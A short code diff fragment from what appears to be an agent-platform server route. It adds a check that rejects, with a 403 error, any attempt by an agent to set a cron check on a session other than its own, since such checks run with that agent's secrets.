+    if (!cronCheckAllowed({ agentId: callerOf(req).id, targetId: sessionId, check, existing }))
+        return res.status(403).json({ error: "an agent may set a cron check only on its own session (the check runs with that agent's secrets)" });
     const cron = {
         id: existing?.id ?? randomUUID(),
         sessionId,